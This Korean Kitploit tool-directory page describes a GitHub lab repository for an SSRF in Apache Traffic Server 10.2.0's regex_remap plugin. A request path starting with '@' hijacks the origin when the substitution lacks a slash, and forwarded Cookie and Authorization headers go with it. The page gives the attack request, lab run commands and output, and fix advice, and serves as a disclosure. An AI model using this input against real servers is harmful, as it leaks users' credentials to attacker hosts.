Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 - 높음 - 원격 - SSRF - regex_remap noslash $n userinfo origin 탈취 | Kitploit
도구/GitHubGitHub/abraxas/ats-regex-remap-userinfo
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLabs & Practice
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 - 높음 - 원격 - SSRF - regex_remap noslash $n userinfo origin 탈취

저장소 보기
14일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

분류: SSRF 도달 범위: 원격

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

regex_remap의 $n 치환은 문자열로 연결되어 TSUrlParse로 전달되며, 이 함수는 url_clear를 수행한 뒤 전체 URL로 파싱합니다. @로 시작하는 캡처는 RFC 3986 userinfo이므로, 운영자 origin이 userinfo가 되고 공격자 호스트가 origin이 됩니다. Cookie와 Authorization은 ATS uid로 전달됩니다.

남는 부분은 http://origin:port$1(슬래시 없음)입니다. 문서화된 http://origin/$1은 슬래시가 authority를 종료시키므로 운영자 origin에 머무릅니다. 플러그인은 기본적으로 로드되지 않습니다.

이는 CVE-2026-58179(url_len VLA, 현재 LocalBuffer)가 아니며, CVE-2026-22068(코어 regex_map은 전체 앵커링됨)도 아닙니다.

ID아직 CVE 없음
분류SSRF
도달 범위원격 (인증 없는 HTTP)
CWECWE-918
CVSS높음: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
제품Apache Traffic Server
영향 받음10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so 슬래시 없는 $n
인증없음. 플러그인 로드됨. 치환 http://origin:port$1.
라이선스GNU Affero GPL v3.0
랩127.0.0.1:18730 전용. 이미지 ats-10.2.0-lab:local.

태그 10.2.0, 커밋 b1df7334b39a878971c376da849e8da4984918b6을 고정했습니다. 소스 빌드 이미지입니다.

공격자가 할 수 있는 일

리맵이 regex_remap.so를 로드하고 $n이 host:port 바로 뒤에 슬래시 없이 오는 vhost에 대한 인증 없는 HTTP.

방법싱크권한
치환 http://good-origin:8080$1로 GET /@evil-origin:8080/xurl_clear 이후 TSUrlParse (regex_remap.cc:1159-1168, URL.cc:1313-1327)무결성 / SSRF (랩 입증): ATS가 evil-origin:8080을 origin으로 다이얼(userinfo=good-origin:8080). Cookie와 Authorization 전달됨.
동일공격자 origin 본문정찰 (랩 입증): ATS-REGEX-REMAP-USERINFO-WITNESS가 클라이언트로 반환됨. cookie-fwd=True authorization-fwd=True.
문서화된 치환 http://good-origin:8080/$1authority가 /에서 종료됨차단됨 (랩 입증): good-origin에 머무름.
치환 http://$1운영자가 $n을 authority에 넣음SSRF (랩 입증): 역시 evil-origin에 도달함. 다른 운영자 실수.

랩 입증 vs 추론: 슬래시 없는 잔여 부분, 문서화된 슬래시는 유지, dollar-at / dollar-host도 evil, Cookie와 Authorization 전달됨, good-origin의 대조 /ok: 랩. 공격자 origin이 해당 헤더로 무엇을 할 수 있는지는 그 호스트가 이미 무엇인지에 달려 있습니다.

요구 사항: regex_remap 플러그인. 치환 http://origin:port$1(슬래시 없음)을 사용하는 맵. remap_required는 1로 유지됨(오픈 릴레이 아님).

차단된 상태로 유지되는 인접 표면

표면랩
문서화된 http://origin/$1slash=good
코어 regex_map 호스트RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 차단됨)
url_len 스택LocalBuffer (CVE-2026-58179 차단됨)
remap_required: 0 오픈 릴레이사용되지 않음
대조 GET /okgood-origin, witness 없음

발견 방법

regex_remap는 $n으로부터 dest 문자열을 만들고 전체 문자열에 대해 TSUrlParse를 호출합니다. URL.cc에서 @는 userinfo입니다. http://good-origin:8080 + @evil-origin:8080/x를 연결하면 파서는 RFC 3986이 규정한 그대로 동작합니다.

먼저 문서화된 형태를 시도했습니다. http://good-origin:8080/$1에 경로 /@evil-origin:8080/x를 넣으면 http://good-origin:8080/@evil-origin:8080/x가 됩니다. 슬래시가 authority를 종료시킵니다. good-origin에 머물렀습니다. 그것이 잔여물이 아닙니다.

그다음 http://good-origin:8080$1(슬래시 없음). dest는 http://good-origin:8080@evil-origin:8080/x입니다. userinfo=good-origin:8080 host=evil-origin. evil origin에서의 증거입니다. Cookie와 Authorization이 함께 따라왔습니다.

잘못된 방향: 문서화된 슬래시 형태를 제출하는 것; core regex_map을 이 플러그인으로 취급하는 것; url_len VLA를 부풀리는 것(패치됨); http://$1을 유일한 잔여물로 취급하는 것(그것은 두 번째 연산자 실수이며, noslash 실수가 아님).

극적인 요소: 리버스 셸. 오라클은 origin 본문에 더해 전달된 Cookie / Authorization입니다.

Lab

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

또는

cd lab
./run.sh

Loopback 127.0.0.1:18730 (악성 origin은 18731에도 게시됨). Compose 프로젝트 ats-regex-remap-userinfo. 이미지 ats-10.2.0-lab:local. 세 개의 vhost: slash / noslash / dollar. Witness ATS-REGEX-REMAP-USERINFO-WITNESS. 마지막 줄:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

수정 방법

$n을 authority에 연결하지 마세요. 호스트와 캡처 사이에 슬래시를 유지하거나, subst를 경로 전용으로 파싱하세요. 호스트가 운영자 origin이 아닌 dest는 거부하세요. 플러그인이 생성한 URL에서 userinfo를 제거하세요. 문서에서는 http://origin/$1이 운영자가 작성하는 유일한 형태인 것처럼 암시하는 것을 중단해야 합니다.

참고 자료

  • github.com/apache/trafficserver 태그 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc subst 이후의 TSUrlParse
  • URL.cc @ userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
도구 다운로드